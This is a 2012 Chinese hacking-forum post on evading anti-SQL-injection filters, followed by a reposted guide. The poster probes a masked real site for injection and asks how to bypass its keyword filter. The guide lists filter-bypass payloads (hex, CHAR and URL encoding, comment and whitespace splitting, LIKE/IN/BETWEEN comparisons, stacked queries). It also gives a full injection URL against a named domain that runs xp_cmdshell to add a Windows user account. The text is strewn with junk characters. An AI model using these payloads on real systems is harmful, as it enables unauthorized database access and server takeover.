找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2494|回复: 0
打印 上一主题 下一主题

饶过防注入系统方法总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:47:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
路过这个网站,检测了一下.$ r$ N; Z- r$ q# d$ M
http://www.xxx.cn/Article.asp?ID=117 and 1=1$ @. {' s0 [! ~
直接返回主页/ v; H0 p5 _5 R9 Y: j2 R
http://www.xxx.cn/Article.asp?ID=117 or 1=1
( I( G' b/ h2 g8 ~" |1 L! X直接返回主页
, \. e" A5 [3 [+ d0 xhttp://www.xxx.cn/Article.asp?ID=117 or
  S  }+ D# _& t$ Z没有返回主页 没有过滤or
0 V" b/ O0 a5 W8 Y9 Phttp://www.xxx.cn/Article.asp?ID=117 and
+ j: I7 p2 A) |# A直接返回主页 看来过滤了and
! s4 `! O$ `9 M; ]# ohttp://www.xxx.cn/Article.asp?ID=117 or 1
- O/ m& M& N! C' J0 l' O  Z2 a: A" N没有返回主页 即没有过滤or 也没有过滤1
6 U) O/ w' N8 O1 ~) y3 ^( h# Z+ vhttp://www.xxx.cn/Article.asp?ID=117 or 1=1% \4 G; n* F/ J: Y- E/ U
直接返回主页 很明显过滤了等号
: A/ t. O, c' N/ \or的特性是与and相反的.
7 f! i( J+ B# K/ |! O! T9 ?6 Zor 1=1 爆错 或与原页面不同& K: L8 D. @, i* F/ p/ z
or 1=2 原页面相同9 s7 Q, [/ Q, O; b6 T. C
这样就是一个注入点
/ ^+ y0 `9 i; g, O" {+ a$ c但他过滤了=号 我就用><号代替=号吧!' a/ o) Y: a1 E! A) \
or 1<2 很明显是正确的,所以应该与原页面不同: {. {0 j0 e. Z/ Z
or 1>2 很明显是错误的,所以应该与原页面相同7 @$ o0 `; k8 ^5 D2 L: p( S9 M& R
然后看看有没有过滤其他的查询语句,比如select.
3 x& K4 y, O. F0 v1 m+ M$ }5 Uhttp://www.xxx.cn/Article.asp?ID=117 select
3 ~! n- p* G2 h" x, M7 l! K) }直接返回主页7 P7 c) H/ e3 U  E% ^) ~- T
又迷茫了..6 q6 \5 ?" _( ?& B0 S8 Z/ B6 U
, p1 @( O; u- J: A

! y: e7 p& m" Dcookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
" q0 H! [$ V" X1 J  i; m/ P这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)0 [9 z7 N2 T0 f* R2 j* C0 l
================================================+ f  R( v& M+ g. B' L3 i
以下是转贴:
! ~! {6 l  e0 f8 D' \3 \2 \
7 d" _  ?; x3 d: A3 X+ x5 E7 `& ?! j突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… / Y7 C& N+ r2 v& h2 M
经过我的收集,大部分的防注入程序都过滤了以下关键字:
/ C. q' `4 b# z) Y5 ?and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = 5 t2 ~4 e- o7 A
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
: B1 _' X1 N- w: _  e# }/ |* _对于关键字的过滤,以下是我收集的以及我个人的一些想法。
; S/ @6 V6 I, X4 C: G0 i! h1、运用编码技术绕过
( g- ]! }5 r0 T/ w: g' [如URLEncode编码,ASCII编码绕过。例如or 1=1即
5 r6 K3 v% W) o. w, l%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 * s: K9 S5 }+ `+ r7 o& [1 G
0 B% Y" |- k: {4 q9 M
2、通过空格绕过 + \  W3 E0 J2 s5 g+ \3 i7 z  _/ B2 W
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
9 j& X) J7 ^: P& U7 U+ u; ~9 G+ g$ For’ swords’ =‘swords’   u" R  C2 m  r6 e; Z4 Y
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 5 F) q  c: Q7 [( [7 K
3、运用字符串判断代替
, @: J- B6 o9 ~' `! e4 k$ L5 \3 E用经典的or 1=1判断绕过,如 " R+ A; I) a0 S& y: }8 e, r
or ’swords’ =’swords’ : ]! ?! d8 K7 l- J# W
,这个方法就是网上在讨论的。 + m* G0 `1 F7 M, {
4、通过类型转换修饰符N绕过 $ U( g6 \0 X" P" R! H/ |+ }- S. U! d
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 / }& e( S/ w1 W9 V
5、通过+号拆解字符串绕过
+ b# W" l% E1 g$ {! A效果值得考证,但毕竟是一种方法。如
' a/ s3 {: ^# Z* ~2 b! {. qor ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ )
7 _* v# z7 k) k2 Z: ?% s( _) H( ~& U8 N0 u) C
6、通过LIKE绕过
+ F. ?5 n" x  e/ F5 J以前怎么就没想到呢?如or 5 M$ {5 t9 T- O( {0 `
’swords’ LIKE ’sw’ 5 ?$ g$ m3 f$ z- L
!!!显然可以很轻松的绕过
4 W; E7 A+ D) ]4 M9 @" F“=”“>” 9 G; b2 @" g3 y4 X. m5 a! Z6 o
的限制…… 5 X: |' X* \* [# x. t: K- y
7、通过IN绕过   t7 A6 ~* Z4 f9 G0 b- D- q
与上面的LIKE的思路差不多,如 " P' r0 ?2 [) c2 R; r3 p0 n
or ’swords’ IN (’swords’)
# V: y8 `  f2 k* K$ J9 j; \6 V( o
, d+ `& m' A. c( F8、通过BETWEEN绕过 - `1 @( j1 P8 J$ x6 i7 |, l  R
如
9 R' \9 U# u3 k; s; H6 Sor ’swords’ BETWEEN ’rw’ AND ’tw’ 5 o- S: Q3 E6 H- q: L

* l, H3 _: ~( a. _4 z" Q9、通过>或者<绕过 7 [# T1 l( O2 \: s7 }
or ’swords’ > ’sw’ - K5 q! r/ \8 S8 H  S/ l0 Z) w
or ’swords’ < ’tw’ / |7 Y" o0 o7 t0 A" J6 y
or 1<3
- L% E; y# w# ~……
7 |; o+ h- C$ T( I$ {" e6 v9 L4 l. \10、运用注释语句绕过 ! e: `( T/ y$ d. v3 ~! L
用/**/代替空格,如: % i. t; W& E9 C8 b1 j
UNION /**/ Select /**/user,pwd,from tbluser
) I" l' B5 r  W$ \& S: N' P  F* G
7 t$ B" Z  ]5 K" ~$ W+ u3 c用/**/分割敏感词,如: ; t. F7 ^/ `7 P! r" ~* F! j3 j
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
) W4 d5 ?; W/ s
9 C. G; s6 _7 M/ i: |- h/ d$ Y11、用HEX绕过,一般的IDS都无法检测出来 ( a, M$ C. s( w1 f
0x730079007300610064006D0069006E00 =hex(sysadmin) 2 U4 P2 H5 v5 V9 g
0x640062005F006F0077006E0065007200 =hex(db_owner) 1 ~! M; H+ Y: t/ a* r4 f5 D7 S
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
6 T6 D. x  P" h  C0 K4 x" U  declare @a sysname
' s3 n3 m+ D, [2 C  select @a= 8 v1 d2 h( d3 P/ @
  exec master.dbo.xp_cmdshell @a
7 t( C" G" }: W: ?( E: v8 ^9 e* I5 [/ p效果 # o! S  q  l/ }4 i1 O, N- ?5 M3 S) I$ P* C
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
2 e% Y8 O% x/ Y! m% d+ o! N! }- J* {% K# e
其中的
* Y8 }& o, _2 Q( v2 m, F0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 6 B' [5 a6 K: R( i; G5 F
就是
& o/ X6 S0 y) w$ }6 p' f1 h# N“net user angel pass /add”( u' L0 T, G8 U3 u
/ m- I1 X6 A7 _; ^! |" L0 [" u3 N
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
; h% w0 K0 p' Z1 |! _! T引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
- d9 E# |1 p' {- K另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似) D/ p" |6 N$ v( P8 P- ~
Copy code
8 m$ X/ i7 B4 T# r1 G4 J- Iselect * from table exec xp_cmdshell'xxxxxxxxxx'
5 Q2 ]/ D; ~; i9 @) j
. b/ M/ |) |3 }, b/ p0 k+ \( s8 U2 s: D& H) w) v; {! B5 l
select * from table/**/exec xp_cmdshell'xxxxxxxxxx'
0 a8 h; h8 O0 b# R
* @( y" H  k2 a% i2 [  j, V* x7 v4 ?  K$ g9 l  J+ x
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
& \/ B* A- Y/ w& A  x/ v
- w6 T8 @( l2 |1 u& ]; Q
, ]- H, M3 Z( n9 |3 s; h" {select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
. l4 m# c4 f' Q" D+ b- m* ?9 Q2 V: D  a; A" M/ W- D5 ^* f3 B/ g
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
: u2 ]1 W* ~) J% H3 B" l2 j* c7 n
. y. f* H. M8 {+ E& |这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
  U8 V7 ]- d+ l6 T! ]: @可能大家早就知道了,不管怎么说,发在这里吧!6 X2 {1 B+ E6 _4 l; G* Q3 S! Y4 b
. t# B, C" i! a1 a( R
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
  X: ~9 l5 |5 Z/ p2 d# x# b% n- e. x3 @% i

; ?- Z. L9 Q- J) T: b+ v- W/ |
: Q2 ^2 N% Y! l对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
, H+ o9 H, a; e- T. o+ g8 |" n/ [比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
2 W/ H) O* C8 |4 i% _1 o
3 t) U1 \$ f) m8 e% V
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表